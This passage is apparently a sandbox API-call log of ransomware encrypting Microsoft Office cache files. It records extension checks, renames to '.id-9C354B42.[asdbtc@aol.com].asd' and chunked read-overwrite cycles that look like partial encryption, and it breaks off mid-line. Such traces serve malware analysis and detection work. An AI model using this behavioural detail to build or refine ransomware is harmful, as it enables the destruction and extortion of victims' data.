[0055.444] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.444] lstrlenW (lpString=".7z") returned 3 [0055.444] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString=".dbf") returned 4 [0055.444] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString=".1cd") returned 4 [0055.444] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString=".jpg") returned 4 [0055.444] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.444] lstrlenW (lpString=".doc") returned 4 [0055.444] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.444] lstrlenW (lpString=".docx") returned 5 [0055.444] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.444] lstrlenW (lpString=".pdf") returned 4 [0055.444] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.445] lstrlenW (lpString=".xls") returned 4 [0055.445] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.445] lstrlenW (lpString=".xlsx") returned 5 [0055.445] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.445] lstrlenW (lpString=".ppt") returned 4 [0055.445] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.445] lstrlenW (lpString=".zip") returned 4 [0055.445] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.445] lstrlenW (lpString=".rar") returned 4 [0055.445] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.445] lstrlenW (lpString=".bz2") returned 4 [0055.445] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.445] lstrlenW (lpString=".7z") returned 3 [0055.445] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.445] lstrlenW (lpString=".dbf") returned 4 [0055.445] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.445] lstrlenW (lpString=".1cd") returned 4 [0055.445] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.445] lstrlenW (lpString=".jpg") returned 4 [0055.445] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.445] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0055.445] lstrlenW (lpString="AccLR.cab") returned 9 [0055.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.483] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=28016276) returned 1 [0055.483] CloseHandle (hObject=0x220) returned 1 [0055.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0055.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.483] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0055.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.484] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.484] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.484] ReadFile (in: hFile=0x220, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.489] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.489] ReadFile (in: hFile=0x220, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.497] ReadFile (in: hFile=0x220, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.513] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.513] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0055.766] SetEndOfFile (hFile=0x220) returned 1 [0055.766] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0055.769] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.769] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.770] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.770] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.774] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.774] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.777] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0055.777] CloseHandle (hObject=0x220) returned 1 [0055.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.777] lstrlenW (lpString=".doc") returned 4 [0055.777] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString=".docx") returned 5 [0055.778] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.778] lstrlenW (lpString=".pdf") returned 4 [0055.778] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString=".xls") returned 4 [0055.778] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString=".xlsx") returned 5 [0055.778] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.778] lstrlenW (lpString=".ppt") returned 4 [0055.778] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString=".zip") returned 4 [0055.778] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString=".rar") returned 4 [0055.778] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString=".bz2") returned 4 [0055.778] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.778] lstrlenW (lpString=".7z") returned 3 [0055.778] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString=".dbf") returned 4 [0055.778] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString=".1cd") returned 4 [0055.778] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString=".jpg") returned 4 [0055.778] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.778] lstrlenW (lpString=".doc") returned 4 [0055.779] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString=".docx") returned 5 [0055.779] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.779] lstrlenW (lpString=".pdf") returned 4 [0055.779] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString=".xls") returned 4 [0055.779] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString=".xlsx") returned 5 [0055.779] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.779] lstrlenW (lpString=".ppt") returned 4 [0055.779] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.779] lstrlenW (lpString=".zip") returned 4 [0055.779] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString=".rar") returned 4 [0055.779] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString=".bz2") returned 4 [0055.779] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.779] lstrlenW (lpString=".7z") returned 3 [0055.779] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.779] lstrlenW (lpString=".dbf") returned 4 [0055.779] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.779] lstrlenW (lpString=".1cd") returned 4 [0055.779] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.779] lstrlenW (lpString=".jpg") returned 4 [0055.779] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.779] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0055.780] lstrlenW (lpString="osetup.dll") returned 10 [0055.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.780] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=7378792) returned 1 [0055.780] CloseHandle (hObject=0x220) returned 1 [0055.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0055.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.780] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0055.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.781] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.781] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.781] ReadFile (in: hFile=0x220, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.785] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.785] ReadFile (in: hFile=0x220, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.791] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.791] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.791] ReadFile (in: hFile=0x220, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.560] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.560] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0056.596] SetEndOfFile (hFile=0x220) returned 1 [0056.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0056.597] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.597] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.598] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.598] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.601] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.601] WriteFile (in: hFile=0x220, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.603] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0056.603] CloseHandle (hObject=0x220) returned 1 [0056.603] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0056.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.603] lstrlenW (lpString=".doc") returned 4 [0056.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".docx") returned 5 [0056.604] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0056.604] lstrlenW (lpString=".pdf") returned 4 [0056.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".xls") returned 4 [0056.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".xlsx") returned 5 [0056.604] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0056.604] lstrlenW (lpString=".ppt") returned 4 [0056.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.604] lstrlenW (lpString=".zip") returned 4 [0056.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".rar") returned 4 [0056.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".bz2") returned 4 [0056.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.604] lstrlenW (lpString=".7z") returned 3 [0056.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.026] lstrlenW (lpString=".dbf") returned 4 [0057.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.026] lstrlenW (lpString=".1cd") returned 4 [0057.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.026] lstrlenW (lpString=".jpg") returned 4 [0057.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.026] lstrlenW (lpString=".doc") returned 4 [0057.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.026] lstrlenW (lpString=".docx") returned 5 [0057.026] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0057.026] lstrlenW (lpString=".pdf") returned 4 [0057.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.026] lstrlenW (lpString=".xls") returned 4 [0057.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.026] lstrlenW (lpString=".xlsx") returned 5 [0057.026] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0057.027] lstrlenW (lpString=".ppt") returned 4 [0057.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.027] lstrlenW (lpString=".zip") returned 4 [0057.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.027] lstrlenW (lpString=".rar") returned 4 [0057.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.027] lstrlenW (lpString=".bz2") returned 4 [0057.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.027] lstrlenW (lpString=".7z") returned 3 [0057.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.027] lstrlenW (lpString=".dbf") returned 4 [0057.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.027] lstrlenW (lpString=".1cd") returned 4 [0057.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0057.027] lstrlenW (lpString=".jpg") returned 4 [0057.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.027] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0057.027] lstrlenW (lpString="ProPrWW.cab") returned 11 [0057.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.851] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=177720283) returned 1 [0058.851] CloseHandle (hObject=0x1fc) returned 1 [0058.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0058.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.851] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All 